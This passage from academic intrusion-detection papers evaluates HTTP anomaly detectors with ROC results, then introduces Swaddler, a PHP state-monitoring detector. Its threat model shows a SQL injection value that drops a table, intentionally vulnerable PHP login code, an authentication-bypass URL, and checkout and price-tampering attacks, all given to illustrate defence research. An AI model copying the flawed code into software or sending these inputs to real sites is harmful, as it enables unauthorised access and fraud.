Our Markov model implementation is a modification of the DFA algorithm
described in Section 3.3. When learning the DFA, the number of times that a
transition is taken is recorded, and the probability of taking a given transition is
the fraction of the sum of all of the transitions that the taken transition repre-
sents. This approach is not exactly the same as a more traditional Markov model,
but the result is similar in size and effect to a Markov model after generalization.

Linear Combination. Combining IDSs is a logical step once more than one
IDS is available. The system developed by Kruegel and Vigna [22] was limited
to HTTP CGI requests, and consisted of a linear combination of the length,
character distribution, order, and presence or absence of CGI parameter
values. Additionally, it also included a test for which CGI parameter values were
enumerated or random, and a Markov model to learn the structure of those
values.
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The threshold for normal for each algorithm was determined dynamically,
chosen to be 10% above the highest value obtained in training. Calculating
the threshold requires a second pass over the training data, testing it to find
the maximum value for each measure. For testing, each algorithm was equally
weighted and the system produced a binary normal/abnormal signal.

n-grams. An n-gram [9] is a substring generated by sliding a window of length
n across a string of tokens. The result is a set of strings of length n. For example,
given the string abcdef and n = 3, the resulting 3-grams are: abc, bcd, cde,
and def. The similarity measure considers the presence or absence of the test
n-grams in the set of n-grams learned from the training data:

s =
# of n-grams from the request also in the training data

# of n-grams in the HTTP request
∈ [0, 1]

The n-gram algorithm can use either tokens or strings from the data source.
Early testing showed poor results for strings, so we report results using tokens
as the alphabet.

Targeted Generalization Heuristics. To improve the accuracy of the n-
gram and DFA induction algorithms, we also applied several heuristics that
increase the generalization. These check that certain data types have a valid
(parsable) format. If so, they return a small, enumerated set of values dependent
on the heuristic. The data types that are checked for valid form are host names,
IP addresses, dates, various hash values (PHP session IDs, HTTP entity tags,
etc), floating point numbers (HTTP q-values), and email addresses. Ingham and
Ingham et al. provide a detailed description of these heuristics in [20,21].

4 Results

The traditional method for reporting IDS results is a receiver operating char-
acteristic (ROC) curve that shows the tradeoff between identifying real attacks
(true positives) and incorrectly flagging non-attack requests as an attack (false
positives) [16]. True or false positives are represented in the ROC curves pre-
sented here as the fraction of the attack database or test data set properly or
improperly identified. Each set of connected points represents a different data set
used with the algorithm, and each point represents a different similarity thresh-
old for distinguishing normal from abnormal. A perfect algorithm would have a
point at (0, 1) (the upper-left corner of the graph) indicating no false positives
and 100% correct identification of attacks. In order to better see the most ac-
curate range, the plots only show the X axis values in [0, 0.1]. The portion of
the plot in the rest of the X axis represents a range where the false positives
would be too high for production use; we visit this claim in Section 4.7. The axes
in these plots indicate the actual fraction of true and false positives in the test.
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To ease comparisons between algorithms, most of the ROC plots have the same
scale; one required a different scale to present the data, and this fact is noted in
the plot description.

McHugh noted several potential problems in presenting IDS test results with
ROC curves [28]. His first objection is that some researchers presented curves
with only one measured point and assumed continuity from (0,0), through their
point, to (1,1). We present plots with 128 uniformly divided points in [0, 1]. No
assumption is made about (0,0) or (1,1). McHugh also pointed out that for the
ROC curves to be comparable, the unit of analysis must be the same. For every
test in this paper, this unit of analysis is always one HTTP request. The tests
we performed used the data and framework described in Section 3.

4.1 Length

Accuracy is below 80% true positive at tolerable false positive rates (see Fig-
ure 1). This measure can detect some buffer overflows and cross-site scripting
attacks, however, attacks such as the Apache chunked transfer error [4] and some
variants of Nimda [10] are short enough to pass as normal; if they are too short,
padding to increase the length is easy. Therefore, a minimum length will never
stop an attack other than by a simplistic attacker. Because this algorithm ac-
cepts many strings that are not legal HTTP, an attacker has great freedom in
the construction of her attack.

If this algorithm were to be applied to tokens, it would overgeneralize. Con-
sider how many sentences with n words are valid English-language sentences.
Therefore, this algorithm is unlikely to ever be useful in isolation. It might be
applied as one of several algorithms, assuming non-attack requests have a tight
enough upper bound on their length.
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Fig. 1. Receiver Operating Characteristic curves showing the accuracy of the length
algorithm
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4.2 Character Distributions

Our Mahalanobis distance results (see Figure 2) differ from Wang and Stolfo’s
[38]. Note that the cs.unm.edu accuracy is lower than other sites, indicating that
the measure’s accuracy depends on the mix of HTTP requests. Wang and Stolfo
reported true positive rates about 90% with a 20% false positive rate on the
Lincoln Labs data. Trained and tested using their own departmental server, the
false positive rate improved, ranging from 0.0084% to 1.3%. They found their
system did not always detect variants of exploits used during training. A possible
explanation is their dependence on packet size in their calculations. As we noted
in Section 3.3, an attacker can easily manipulate packet size, so we question the
usefulness of this correlation.
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Fig. 2. Receiver Operating Characteristic curves showing the accuracy of the Maha-
lanobis distance algorithm

Figure 3 contains the χ2 distance results. This algorithm performs poorly on
all data sets, with a true positive rate at or below 40%.

The Mahalanobis distance and χ2 distance algorithms generalize by allowing
similar, instead of identical, character distributions. Unfortunately, this approach
fails. The HTTP protocol is flexible enough that an attack can be padded to give
a character distribution considered close enough to normal, especially with the
myriad ways of encoding data allowed by the standards. To make the problem
worse for these metrics, some attacks such as the Apache chunked transfer error
[4] and some variants of Nimda [10] use a character distribution that might pass
as normal without padding, and had the attacker needed to, she could have easily
made minor changes to the attack (such as putting the proper host name or IP
address in the Host: field) as needed to ensure a valid character distribution.
The problem is that the set considered normal is so large that it includes many
of the attacks in the attack database, regardless of if the attack is legal HTTP
or not.
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Fig. 3. Receiver Operating Characteristic curves showing the accuracy of the χ2 dis-
tance algorithm
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Wang and Stolfo [38] tested the Mahalanobis distance using the MIT Lincoln
Labs data (Section 2.2). This data set contains only four HTTP attacks. In the
years since the MIT data were collected, attack characteristics have changed;
our more comprehensive attack data set illustrates the effect of this difference
on this algorithm (Figure 2).

4.3 DFA

Figure 4 shows the DFA accuracy. The DFA can achieve better than 80% true
positive rate at a false positive rate of less than 0.1%, which is better than all
but the 6-grams. At slightly higher false positive rates, it achieves true positive
rates of over 90%.
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The DFA induced using tokens is a directed graph representing the structure
of the HTTP request. Generalization occurs in the DFA generation described in
[21]. It also occurs when one or more “missed tokens” are allowed. These gener-
alizations are limited compared to that performed by the length and character
distribution algorithms. The better true positive rate relative to all of the other
algorithms shows that the model is even more accurate than that of the n-grams.

4.4 Markov Model

The Markov model result values are in [0, 10−13] with many values as small as
10−300. These small values make it appear that the algorithm identifies every-
thing (both normal traffic and attacks) as abnormal. To better understand these
results, Figure 5 shows the data plot where the similarity value from the Markov
model m has been transformed into a new similarity value s by s = 1

|loge(m)| ,
and the plot scale has been changed so the data appears (making these plots
not directly comparable to the rest of the ROC plots in this paper). This trans-
formation means that the data cannot go through the point (0, 0), and all of
the data appears on the plot. The log transformed Markov model provides 94%
accuracy on cs.unm.edu data, but with an unacceptable false positive rate. The
results on the other web sites show an even better true positive rate, but the
false positive rate remains unacceptably high.

 0

 0.2

 0.4

 0.6

 0.8

 1

 0  0.2  0.4  0.6  0.8  1

T
ru

e 
p
o
si

ti
v
e 

fr
ac

ti
o
n

False positive fraction

ROC Curves for the log-transformed Markov Model

aya.org
explorenm.com

i-pi.com
cs.unm.edu

Fig. 5. Receiver Operating Characteristic curves showing the accuracy of the Markov
model algorithm. Note that the scale on this plot does not match the scale of the other
plots.

In a Markov model, normal requests might have a probability of 0 due to
minor differences from the instances in the training data. If the model was in-
duced from filtered data, attacks would also result in a probability of 0, and
the model has a hard time distinguishing between these two cases. The Markov
model’s generalization is traditionally achieved by allowing probabilities within
a given range. The diversity of normal requests means any given normal request



56 K.L. Ingham and H. Inoue

is unlikely, and perpetual novelty of HTTP data leads to normal requests with
a probability of 0. The combination of these two factors means that the Markov
model is a poor model for HTTP requests. Our results applying a Markov model
to the tokens of the complete HTTP request using tokens mirror those of Kruegel
and Vigna applying it to CGI parameters [22]. They reported that the Markov
model suffered because HTTP requests are so diverse that the probability of
any given request is low. When working with complete requests, the problem is
even worse, because the increased number of tokens increases the normal level
of diversity, resulting in lower probabilities for any given HTTP request.

4.5 Linear Combination

The linear combination results are in Figure 6. The accuracy is best on the
cs.unm.edu data, but the true positive rate is only around 60%. On the other
web sites, it is less accurate. Kruegel and Vigna reported a true positive rate of
100% and false positive rates less than 0.000650. The disparity is explained by the
attacks attempted—in contrast to their attack database which was constructed
solely of attacks in CGI parameters, these attacks account for only 40% of the
attacks in our database.

Most of the discrimination the linear combination came from the order, pres-
ence or absence, and enumerated or random tests which did not generalize.
We found it was not hampered by the character distribution overgeneralization
because they limited their work to a small portion of all attacks (CGI parame-
ters) and this measure was but one of six.
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Fig. 6. Receiver Operating Characteristic curves showing the accuracy of the linear
combination algorithm

The method of combining IDSs itself determines the generalization of the
combined algorithm. If all models must agree that a request is normal, the least
general usually determines a request is abnormal. Combining overgeneralizing
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detectors such as length and character distribution will usually indicate a nor-
mal request (including for many attacks), and therefore contribute little to the
discrimination power of the combination; combining overgeneralizing detectors
results in a system that overgeneralizes.

4.6 n-Grams

Results for 6-grams5 are in Figure 7. The accuracy starts at around 85% true
positive rate with a low false positive rate, making this algorithm comparable to
the DFA for accuracy.

 0

 0.2

 0.4

 0.6

 0.8

 1

 0  0.02  0.04  0.06  0.08  0.1

T
ru

e 
p
o
si

ti
v
e 

fr
ac

ti
o
n

False positive fraction

ROC Curves for 6-grams

aya.org
explorenm.com

i-pi.com
cs.unm.edu

Fig. 7. Receiver Operating Characteristic curves showing the accuracy of the 6-gram
algorithm

n-grams effectively model the structure, or grammar, of a request by encoding
sequences of tokens as a directed graph in a manner similar to the DFA and
Markov Model. n-grams minimize false positives by allowing a small number of
mismatches, and it is better able to tell normal requests from nonsense.

4.7 False Positives

A human system administrator would have to inspect false positives to determine
if they represent normal traffic or attacks. When comparing the algorithms, a
useful metric is the load that the algorithm would place on this person. Table 1
shows the false positive rate per day, assuming a true positive rate of only 80%
is required. This table presents data using the cs.unm.edu data sets and shows
that only the 6-grams and the DFA have a false positive rate that might be
acceptable for a web site like the UNM CS department.

Most previous research has reported false positives as the fraction of the non-
attack test data misidentified, which is the value shown in the ROC plots pre-
sented in the earlier sections. This result can be misleading for web sites if a
5 Preliminary tests showed n = 6 to be optimal.
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human must evaluate the abnormal requests to determine if if they represent at-
tacks. A 1% false positive rate on a lightly-visited web site may be tolerable; the
same percentage on Amazon.com or Google.com would require a large full-time
staff. A false positive rate of 0.01 corresponds to 917, 50, 8, and 43 false positives
per day for cs.unm.edu, aya.org, i-pi.com, and explorenm.com respectively. In
the 1999 DARPA/MIT Lincoln Laboratories IDS tests, they stated that above
10 false positives per day is a high rate [15].

Table 1. False positive rate per day for the algorithms, trained and tested using the
cs.unm.edu data. Algorithms marked with ∞ did not achieve a threshold 80% true
positive rate. The Markov Model data transform is described in Section 4.4.

Algorithm FP/day
Mahalanobis distance 91,524
χ2 of ICD ∞
Length ∞
6-grams 13
DFA 37
Markov Model (log transform) 39,824
Linear combination ∞

5 Discussion

The results in Section 4 show that character-based algorithms (Mahalanobis
distance, χ2 of ICD, and Length) are notably less accurate than two of the
token-based algorithms (DFA, n-grams). Tokens represent a higher lexical unit,
and are used by the system to represent meaning; attacks often represent non-
sensical requests. With the need to “ship the product yesterday” and other
deadlines, programmers often focus on making the system work under common
circumstances and spend fewer resources on exceptional cases. Additionally, to
consider all of the ways in which exceptional states may be represented requires
thinking in ways many programmers were not trained. In our attack database,
most, if not all, of the attacks are nonsensical. The ability to represent more of
the meaning of a HTTP request improves the ability of an algorithm to discrim-
inate between normal and abnormal. Presumably the normal requests do not
represent nonsense. Applying these concepts to the algorithms we tested, the
DFA and n-grams learn the higher-level structure of valid HTTP requests, and
so therefore they can use this structure to better tell if a request is normal or
not.

Both token based algorithms share a weakness in their similarity measures in
that they cannot discern between a novel request with a few new tokens and
an attack with a small number of tokens. This was responsible for some of the
missed attacks. Another attack missed by the DFA can be traced to a user typo.
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The pair of tokens // appeared in the training data, causing an edge from the
node corresponding to the path separator / back to itself. Unfortunately, the
beck attack [7] used a multitude of /s to cause an out-of-memory condition in
an older version of Apache.

The idea of representing the meaning of the request allows us to make a pre-
diction: Statistics such as character distribution applied to tokens rather than
characters may be more accurate than when the same statistic is applied to the
characters making up the request. However, the relationships between tokens is
important to the semantics. Statistics on tokens are likely to be less accurate
unless the measure can represent these relationships. In effect, by ignoring the
relationships between tokens, measures such as the character distribution algo-
rithms applied to tokens will continue to overgeneralize, and therefore be more
prone to mimicry attacks. Consider as an example all English-language sentences
with a specific distribution of words versus the sentences that are well-formed
and not nonsense.

6 Conclusion

This paper evaluated and compared seven different different anomaly intrusion
detection algorithms for HTTP under realistic conditions. This testing is more
rigorous than any HTTP IDS testing reported to date. For this comparison we
implemented an open-source IDS testing framework. In addition, we developed
the most comprehensive open database of HTTP attacks designed for IDS test-
ing.

Most previous IDS approaches for HTTP have represented the request as a
character string. The work we report is one of the first to use tokens from parsing
the request, and the first to use these tokens with DFA induction and n-grams.
These algorithms detect more attacks than earlier approaches. One reason for
this improved accuracy is that we use the complete HTTP request instead of
just a portion—most previous IDSs ignore portions of the request and obviously
cannot detect attacks in the ignored portions.

Our test results are explained by two factors. The first is the data representa-
tion of the HTTP request. We have shown that the token-based methods result
in algorithms with a better ability to discriminate between sense and nonsense,
and as a result, between legitimate requests and attacks. The second factor is
generalization. We included several heuristics for generalization the algorithms
using tokens. A detailed discussion of the effects of generalization is out of scope
for this paper but is provided by Ingham in [20].

This research has shown that all the algorithms have an unacceptable false
positive rate. We need additional algorithms and heuristics to improve perfor-
mance. Furthermore, our work implies that new approaches should be token
based, because they better represent HTTP requests than current algorithms.
We hope that the IDS testing framework described in this paper encourages
further research.
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Abstract. In recent years, web applications have become tremendously
popular, and nowadays they are routinely used in security-critical envi-
ronments, such as medical, financial, and military systems. As the use
of web applications for critical services has increased, the number and
sophistication of attacks against these applications have grown as well.
Most approaches to the detection of web-based attacks analyze the inter-
action of a web application with its clients and back-end servers. Even
though these approaches can effectively detect and block a number of
attacks, there are attacks that cannot be detected only by looking at the
external behavior of a web application.

In this paper, we present Swaddler, a novel approach to the anomaly-
based detection of attacks against web applications. Swaddler analyzes
the internal state of a web application and learns the relationships be-
tween the application’s critical execution points and the application’s
internal state. By doing this, Swaddler is able to identify attacks that
attempt to bring an application in an inconsistent, anomalous state, such
as violations of the intended workflow of a web application. We developed
a prototype of our approach for the PHP language and we evaluated it
with respect to several real-world applications.

Keywords: Web Attacks, Anomaly Detection, Dynamic Analysis, Code
Instrumentation.

1 Introduction

Web applications are quickly becoming the most common way to access services
and functionality. Even applications such as word processors and spreadsheets
are becoming web-based because of the advantages in terms of ubiquitous acces-
sibility and ease of maintenance.

However, as web applications become more sophisticated, so do the attacks
that exploit them. Some of these attacks are evolutions of well-known attacks,
such as buffer overflows or command injections. In addition, there are attacks
that are specific to web applications, such as forceful browsing and parameter
manipulation.
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Web applications are usually implemented as a number of server-side compo-
nents, each of which can take a number of parameters from the user through
both the request parameters (e.g., an attribute value) and the request header
(e.g., a cookie). These components need to share and maintain state, so that the
application can keep track of the actions of a user as he/she interacts with the
application as a whole.

There are several attacks that exploit erroneous or inconsistent state manage-
ment mechanisms in order to bypass authentication and authorization checks.
Unfortunately, even though there are a number of tools and techniques to protect
web applications from attacks, these approaches analyze the external behavior
of an application, such as its request/response flow [2,33] or its interaction with
back-end databases [22,32,13], and do not take into account the internal state
of a web application in order to identify anomalous or malicious behavior.

In this paper, we present Swaddler, a novel approach to the detection of
attacks against web applications. The approach is based on a detailed charac-
terization of the internal state of a web application, by means of a number of
anomaly models. More precisely, the internal state of the application is moni-
tored during a learning phase. During this phase the approach derives the profiles
that describe the normal values for the application’s state variables in critical
points of the application’s components. Then, during the detection phase, the
application’s execution is monitored to identify anomalous states.

The approach has been implemented by instrumenting the PHP interpreter
and has been validated against real-world applications. Our experiments show
that by modeling the internal state of a web application one can detect at-
tacks that cannot be identified by examining the external flow of requests and
responses only. For example, attacks that violate the intended workflow of an
application cannot be detected by examining requests and responses in isolation.

The contributions of our paper are the following:

– We introduce a novel approach that analyzes the internal state of a web ap-
plication using anomaly detection techniques. To the best of our knowledge,
there are no other approaches that are able to analyze a web application’s
state at the granularity that our approach supports.

– We show that anomaly detection based on both the value of single variables
and the relationships among multiple variables is an effective way to detect
complex attacks against web applications.

– We demonstrate that our technique is able to detect attacks that mainstream
techniques based on request analysis are unable to detect, such as workflow
violations.

The rest of this paper is structured as follows. In Section 2, we describe our
threat model and the type of attacks that our approach detects using a sample
application. Then, in Section 3, we present our approach to modeling the state
of a web application to detect complex attacks. In Section 4, we describe the
implementation of our tool, and, in Section 5, we present a number of experi-
ments that we carried out to evaluate its effectiveness. Finally, Section 6 presents
related work and Section 7 concludes.
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2 Threat Model

Web applications are the target of many different types of attacks. In this section,
we present two common classes of attacks: the ones that exploit errors in the
input validation process and the ones that exploit flaws in the enforcement of
an application’s intended workflow.

2.1 Input Validation Attacks

Input validation attacks exploit the application’s inability to properly filter the
values of the parameters provided by the user, allowing an attacker to inject
malicious data (e.g., a piece of JavaScript code) into a web application. In par-
ticular, the two most common attacks that belong to this category are SQL
injection and cross-site scripting (XSS).

A web application is vulnerable to a SQL injection attack when the input pro-
vided by the user is used to compose a database query without being previously
sanitized. A SQL injection attack can allow a malicious user to execute arbi-
trary queries on the database server. As a result, the attacker can steal sensitive
information and/or modify the information stored in the database tables.

Consider, for example, a typical web application where the authentication
module compares the user-provided credentials with the known accounts con-
tained in the database. The username provided by the user is used to compose
the query, without any checks on its contents:

"SELECT * FROM users WHERE name = ’" + userName + "’;"

Since the username is not sanitized, it can be crafted by the attacker so that
arbitrary SQL code is injected into the query. For example, if the value of the
user name is set to ’;DROP TABLE users;, the database would evaluate the DROP
query just after the SELECT one.

In cross-site scripting attacks, an attacker is able to force a user’s web browser
to evaluate attacker-supplied code (typically JavaScript) in the context of a
trusted web site. The goal of these attacks is to circumvent the browsers’ same-
origin policy, which prevents scripts or documents loaded from one site from
getting or setting the properties of documents originating from other sites.

In a typical XSS attack, the attacker inserts the malicious code as part of a
message that is stored by the web application (e.g., JavaScript code is added to a
blog comment). When a normal user accesses the page that shows the message,
the malicious code is evaluated by the user’s browser under the assumption
that it originates from the vulnerable application rather than from the attacker.
Therefore, the malicious code has access to sensitive information associated with
the trusted web site, such as login credentials stored in cookies.

SQL injection and XSS attacks are very common and very dangerous at the
same time. However, there is a large number of static and dynamic techniques
to detect this kind of input validation attacks [15,13,26,30,35,20,21]. For this
reason, in this paper we concentrate on the less-known and often-overlooked
attacks against the workflow of web applications.
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include ’config.php’;
session_start();
$username = $_GET[’username’];
$password = $_GET[’password’];
if($username == $admin_login

&& $password == $admin_pass) {
$_SESSION[’loggedin’] = ’yes’;
$_SESSION[’username’] = $admin_login;

} else if(checkuser($username,$password)) {
$_SESSION[’loggedin’] = ’yes’;
$_SESSION[’username’] = $username;

} else {
diefooter("Login failed");

}

login.php

include ’config.php’;
session_start();
if($loggedin != ’yes’

|| $username != $admin_login) {
diefooter("Unathorized access");

}
printusers();

admin/viewusers.php

Fig. 1. Authentication bypass vulnerability in the store application

2.2 Workflow Violation Attacks

Workflow violation attacks exploit logical errors in web applications in order to
bypass the intended workflow of the application. The intended workflow of a
web application represents a model of the expected user interactions with the
application. Examples of workflow violation attacks include authentication and
authorization bypass, parameter tampering, and code inclusion attacks.

To better illustrate this class of attacks, we present a small PHP application
that contains a number of common workflow vulnerabilities. The application
is a simple online store that sells different items to its users. New users can
register and, once logged in, browse and buy the items available in the store. The
application uses the standard PHP session mechanism [27] to store the session
information and the shopping carts of the users. In addition, the store provides
an administrative interface to manage the inventory and to review information
about its users.

The first example of vulnerability contained in the store application is an
authentication bypass vulnerability. The program uses two session variables,
loggedin and username, to keep track of whether a user is currently logged
in and if she has administrative privileges. A simplified version of the code of
login.php, the application module that initializes these variables, is shown in
Figure 1. Every time the user requests one of the administrative pages, the
variables loggedin and username are checked, as shown in viewusers.php in
Figure 1, to verify that the user is correctly authenticated as administrator.

Since the application utilizes the PHP session mechanism, the session variables
are kept inside the superglobal SESSION array.However, if the register globals
option of the PHP interpreter is enabled, an application can refer to a session vari-
able by simply using the variable name, as if it was a normal global variable. Since
our application uses this “shortcut” to access the session variables (unfortunately
a common practice among inexperienced developers), an attacker can easily by-
pass the checks by providing the required variables as part of the GET request to
one of the protected pages. In fact, when register globals is enabled, the PHP
interpreter automatically binds the parameters coming from the user’s requests to
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Fig. 2. Checkout workflow in the store application

global variables. Thus, if the variable loggedin is not present in the session (i.e,
the user did not authenticate herself), it can be provided by an attacker using the
request parameters, as shown in the following request:

http://store.com/admin/viewusers.php?loggedin=yes&username=admin

The login.php module is the only part of the application that sets the
loggedin and username variables, and, as it can be seen from the code given
in Figure 1, the variable username is set to the administrator’s name only if a
user provides the correct administrator’s name and password. Thus, even if the
attacker manages to bypass the authorization check in viewusers.php, she will
not be able to set the SESSION[’username’] to the correct value. Thus, the
attack would force the application to move into an anomalous state (correspond-
ing to the administrative code being executed with the SESSION[’username’]
not set to the expected admin value).

The store application is also vulnerable to a second workflow violation at-
tack. In this case, the attack exploits the fact that the application computes the
amount of money to be charged to the user’s credit card in several different steps.
During the checkout phase, the user navigates through several pages where she
has to provide various pieces of information, including her state of residency (for
tax calculation), shipping address, shipping method, and credit card number.
For simplicity, suppose that the checkout process consists of four main steps as
shown in Figure 2, where the first three steps calculate the purchase total based
on the user-provided information and the final step proceeds with the order sub-
mission. Now, suppose that the application fails to enforce the policy that the
Step 3 page should be accessible only after Step 2 has been completed. As a
result of this flaw, an attacker can directly go from Step 1 to Step 3 by simply
entering the correct URL associated with Step 3. In this case, the total amount
charged to the attacker’s credit card will be equal to the shipping cost only.

It is important to note that while this attack would be very difficult to detect
analyzing the HTTP traffic, it clearly manifests itself as an anomaly in the web
application state. In fact, under a normal operation, the total amount charged
to the user is always equal to the sum of the purchased price, taxes and shipping
cost. However, if the user is able to change the order of the steps in the checkout
process, this relationship will not hold.
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Finally, the store application contains an example of a parameter tampering
vulnerability. When a user chooses a shipping method from a select box, the
name of the shipping method and its cost, which are set as hidden parameters in
the form, are submitted to the application. Unfortunately, the application fails
to make additional server-side checks for the shipping costs, and, as a result, an
attacker can set the cost of the chosen shipping method to an arbitrary value.
This vulnerability is characterized by the fact that, in a normal execution, the
variable containing the shipping cost always assumes the same values, depending
on the shipping method that has been selected by the user. Thus, if an attacker
tampers with the hidden parameter to change the shipping cost to an arbitrary
value, the SESSION[’shipcost’] variable will assume an anomalous value that
can be easily detected analyzing the state of the application.

3 Approach

As shown in the previous section, not all web-based attacks rely on sending
malicious input to web applications. Some of them exploit weaknesses in the
intended workflow of the application, allowing the user to navigate through the
different application’s modules in a way that leads the application to an insecure
state. In this case, the attacker performs a sequence of actions in which all
the provided input values can be perfectly harmless, and the vulnerability is
exploited through the particular order (or timing) of the various requests.

This type of attacks can be very difficult to detect “from the outside,” that is,
using sensors that only analyze HTTP requests and responses in isolation. Nev-
ertheless, regardless of how the attack is performed, its final effect is to force the
application to enter an insecure state. For this reason, we believe that a more effec-
tive approach to the detection of workflow attacks consists of monitoring, at run-
time, the state of the web application “from the inside.” This is true, of course,
under the assumption that there is a strong relationship between insecure and
anomalous states, i.e., any insecure state is also likely anomalous and vice versa.

Before describing our approach, which we call Swaddler, we need to introduce
the concept of web application state. We define the state of a web application
at a certain point in the execution as the information that survives a single
client-server interaction: in other words, the information associated with the
user session. Part of this information is kept on the server, while part of it can
be sent back and forth between the user’s browser and the server in the form of
cookies, hidden form fields, and request parameters.

Given this definition of application state, it is possible to associate each in-
struction of the application with a model of the state in which that instruction
is normally executed. For example, code contained in the admin directory of
our sample application shares the fact that, when it is executed, the variable
SESSION[’username’] should always be equal to admin. Any runtime violation
of this requirement represents the evidence that a low-privilege user was able to
access an administrative functionality bypassing the constraints implemented by
the application’s developer.
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Fig. 3. Description of the training phase

Ideally, a complete set of these relationships among code execution points
and state variables would be provided by the developers as part of the applica-
tion’s specification. However, since in reality this information is never explicitly
provided, the models of the normal state for each program instruction have to
be inferred from a set of attack-free execution traces. To perform this task, we
propose to automatically instrument the web application with the code required
to extract the runtime values of state variables. Depending on the language in
which the application is developed, this instrumentation can be performed in
several ways. For example, in our prototype implementation we decided to add
the instrumentation as a module to the PHP interpreter. This solution allows
our approach to be applied to a large set of web applications without the need
to modify the source code of the applications.

Swaddler associates a model of the web application state with each instruction
executed by the application. However, this solution can be optimized by limiting
the instrumentation to the first instruction of each basic block. A basic block
is a sequence of consecutive statements in which flow of control enters at the
beginning and leaves at the end without halt or possibility of branching except
at the end [1]. In fact, since the control-flow inside a basic block is a simple
sequence of instructions without branches, the application state at the beginning
of the basic block univocally determines the state of each instruction inside the
block. Once the models that describe the normal state associated with each basic
block have been properly extracted, they can be used to detect (and prevent)
attacks that violate the normal application state.

Figure 3 and Figure 4 show the architecture of our anomaly detection sys-
tem during the training and detection phases. Swaddler consists of two main
components: the sensor and the analyzer. The sensor is represented by the in-
strumentation code, which collects the application’s state data (i.e., the values
of state variables) at the beginning of each basic block, and encapsulates them
in an event that is sent to the analyzer. An event generated by the sensor defines
a mapping between the variable names and their current values. For each basic
block of the application, the analyzer maintains a profile, i.e., a set of statis-
tical models used to characterize certain features of the state variables. These
models can be used to capture various properties of single variables as well as
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Fig. 4. Description of the detection phase

to describe complex relationships among multiple variables associated with a
block. In training mode, profiles for application blocks are established using the
events generated by the sensor, while in detection and prevention modes these
profiles are used to identify anomalous application states. When an anomalous
state is detected, the analyzer raises an alert message, and, optionally, it can
immediately stop the execution of the application.

Since Swaddler is based on anomaly detection techniques, it can be vulnera-
ble to mimicry attacks [34], in which an attacker crafts an exploit in a way that
closely resembles normal activity (or normal state values). Therefore, in princi-
ple, one could find a way to perform an attack that brings a web application into
an insecure state without triggering any alert. Nonetheless, the fine granularity
at which our approach analyzes the application state makes this type of attacks
much more difficult to perform.

Even though our approach is general and, in principle, can be applied to other
languages and execution environments, in the following sections we will describe
in detail the solution that we have developed for the PHP language.

4 Implementation

The implementation of our approach consists of two main components: the sen-
sor, which is an extension of the PHP interpreter that probes the current state
of an executing application, and the analyzer, which is an anomaly-based system
that determines the normality of the application’s state. In the current prototype,
the sensor is implemented as a module of the open-source Zend Engine inter-
preter [36] and the analyzer is built on top of the libAnomaly framework [31].

4.1 Event Collection

The Zend Engine is the standard interpreter for the PHP language. It implements
a virtual machine that is responsible for parsing programs written in PHP and
compiling them into an intermediate format, which is then executed.
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To probe an application’s state and generate responses to detected attacks,
our implementation extends the Zend Engine in two points of its processing cy-
cle: after the standard compilation step is completed and before the standard
execution step is initiated. Whenever the execution of a PHP script is requested
(e.g., in response to a user’s request to a web application), the Zend Engine
parses the script’s source code, checks for its correctness, and compiles it into a
sequence of statements in an intermediate, architecture-independent language.
The binary representation of each statement holds a reference to a handler func-
tion, which interprets the statement and changes the state of the virtual machine
accordingly. During execution, the Zend Engine decodes in turn each statement
and dispatches it to its handler function.

Our extension is invoked by the engine after it has produced the compiled
version of a program. The extension performs a linear scan of the sequence of
intermediate statements, identifies the corresponding basic blocks, and associates
a unique ID with each of them. The first statement of each basic block is modified
by overwriting its handler with a custom instrumentation handler. The effect of
this modification is that, during the program’s execution, our instrumentation
code is invoked each time a basic block is entered.

The cost of this phase is linear in the number of intermediate statements,
which is proportional to the size of the program. By default, the Zend En-
gine does not cache the intermediate statements for reuse during subsequent
executions, and, therefore, the compilation and our instrumentation of the ap-
plication’s code is repeated for every access of the page. However, if one of the
available caching mechanisms is added to the standard engine, our technique will
be able to take advantage of the caching functionality, thus reducing the cost of
the instrumentation.

After the compilation step, the Zend Engine starts executing the application’s
code. Our instrumentation handler is invoked every time the first statement of
a basic block is executed. The instrumentation handler creates an event corre-
sponding to the basic block being executed and makes the event available to the
analyzer for inspection. The event contains the information collected about the
current application state. Since in the current implementation of our approach we
focus on the detection of workflow-based attacks, by default the events contain
the values of the variables defined in the application’s session, i.e., the content of
the SESSION array. In our experiments we found this information to be sufficient
to detect most of the workflow attacks. However, the system can be configured
to extract other parts of the application’s state. For example, one could use the
content of the REQUEST array (a global array automatically populated by the
interpreter with the values of the user’s input to the application) to detect at-
tacks that exploit insufficient validation of input parameters. In addition, further
customizations of the sensor are possible if more information is known about an
application. For example, if one knows that only some portions of the applica-
tion’s state can be used to attack the application, one could configure the sensor
to only extract those parts of the state. Note that all the configurable settings
of the sensor (e.g., the set of state variables to extract or the models to use) are



72 M. Cova et al.

set by using the standard .htaccess mechanism and, therefore, can be changed
on-the-fly without the need to modify the sensor’s code.

After delivering an event to the analyzer, the instrumentation handler behaves
differently depending on the current execution mode. During training, it takes
no further action. However, if the system is in detection or prevention mode, and
it has determined that the state associated with the block about to be executed
is anomalous, an alert is generated, the request is logged, and, in prevention
mode, the execution is automatically blocked.

When the sensor has finished its processing (and the execution has not been
abnormally terminated), it invokes the original handler of the statement, passing
the control back to the Zend Engine. The execution of the statement, then,
proceeds as in the normal, unmodified interpreter.

Our implementation, based on the modification of the web application’s in-
terpreter, has several strengths. First, the sensor has direct access to all of the
interpreter’s data structures, and, thus, it has an unambiguous view of the ap-
plication’s state. Other implementation strategies of our approach, e.g., those
based on the analysis of request/response traces, would have to infer the appli-
cation’s state and, thus, in general, would provide a less precise input to the
analyzer component. Second, the sensor has the capability of blocking attacks
before they reach a vulnerable point in the application.

4.2 Anomaly Detection

Our implementation of the detection engine is based on a modified version of
the libAnomaly framework [31]. The anomaly detection process uses a number
of different models to identify anomalous states for each basic block of a web
application. A model is a set of procedures used to evaluate a certain feature of
a state variable associated with the block (e.g., the range of its possible values)
or a certain feature that involves multiple state variables (e.g., the presence and
absence of a subset of them). Each block has an associated profile that keeps
the mapping between variables and models. Consider, for example, a block of
code in a web application whose corresponding state can be described with
two variables, username and password. Suppose that one wants to associate
a certain number of different models with each of these variables in order to
capture various properties, such as length and character distribution, that their
values can take under normal execution. In this case there will be a profile,
associated with the block, that contains a mapping between each variable and
the corresponding models. Whenever an event is generated for that block, the
profile is used to find the models to evaluate the features of the state variables.

In our implementation, the task of a model is to assign a probability value to a
feature of a state variable or a set of state variables associated with the block that
is about to be executed. This value reflects the probability of the occurrence of
a given feature value with regards to an established model of “normality.” The
assumption is that feature values with a sufficiently low probability indicate
a potential attack. The overall anomaly score of a block is derived from the
probability values returned by the models that are associated with the block
